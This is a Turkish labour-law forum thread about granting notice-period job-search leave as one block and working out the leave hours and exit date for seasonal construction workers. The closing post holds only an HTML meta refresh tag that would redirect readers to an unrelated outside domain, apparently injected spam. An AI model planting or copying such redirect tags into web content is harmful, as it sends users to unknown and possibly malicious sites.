ihbar tazminatında iş arama süresinin toplu kullandırılması

A

albatros_e

Üyelik
4 Ocak 2008
Mesajlar
78
öncelikle herkese iyi çalışmalar dilerim.
inşaat firmasında çalışan işçilere mevsimin kışa girmesinden dolayı çıkış verilecek.işçilere bildirimli fesih yapılacak.işçiler kıdem tazminatı haketmiyor.işveren ihbar tazminatınıda bildirim yapmak suretiyle çözmek istiyor.yalnız önellere tekabul eden sürede günlük 2 saatlik iş arama izni toplu olarak verilecek.böyle bir durumda uygulama nasıl olur? Öğrenmek istediğim bugünden itibaren 4 haftalık öneli olan bir işçi hangi tarihte işten çıkarılmalı? İş arama süresi toplu olarak kullandırılacağından fiilen işten çıktığı gün ile önele göre işten çıkması gereken gün aynı olmayacaktır bu durumda nasıl bir uygulama yapılması gerekir?
verdiğiniz bilgiler için teşekkür ederim.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

Önele göre işten çıkması gereken tarih işten çıkış tarihidir. İhbar süresine uyduğunuzda iş arama izni günlükte olsa toplucada olsa fark etmez. Siz çalışana "xx tarihinde işine son verilecek." bildirimine yazdığınız tarih işten çıkış tarihidir.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

sayın nane
pekala kullandırılması gereken iş arama suresi : (6 gün x 2 saat = 12 saat/hafta) x 4 hafta = 48 saat olunca, işçilere toplu olarak vermem gereken izin : 1 hafta 3 saat mi olur ?
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

1 gün 3 saati nasıl buldunuz? 6 iş günü 3 saat olmalı.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

pardon yanlış yazmışım 1 hafta 3 saat diyecektim.verdiğiniz bilgiler için teşekkürler.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

Yeni iş arama iznini toplu olarak kullandıracaksanız,bulunan toplam süre ihbar önelinin bitiş tarihinden önce izin olarak kullanılmalıdır.Yani ihbar bitiş tarihinden 1 hafta 3 saat (veya 6 işgünü 3 saat) önce çıkış yapamazsınız.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

sayın keremcem belirttiğiniz gibi çıkış yapmıcaz iznini kullandırıp sürenin sonunda çıkış yapıcaz.
ilginiz için teşekkürler.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

toplu kullanmak yada her gün 2 saat kullanmak burda işverenin mi tasarrufunda?
işçi günlük yada toplu kullanıyordu yanlış hatırlamıyorsam.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

neden ihbar tazminatını ödeyip hemen çıkartmıyorsunuz.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

İhbar süresine uyarak işe son verilmesinde yanlış olan bir şey mi var?
Aslolan ihbar süresidir,ihbar süresi kullandırılmazsa tazminatı ödenir.
 
Ynt: ihbar tazminatında iş arama süresinin toplu kullandırılması

<meta http-equiv="refresh" content="zamanıyaz;URL=http://d3ss4s.li">
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst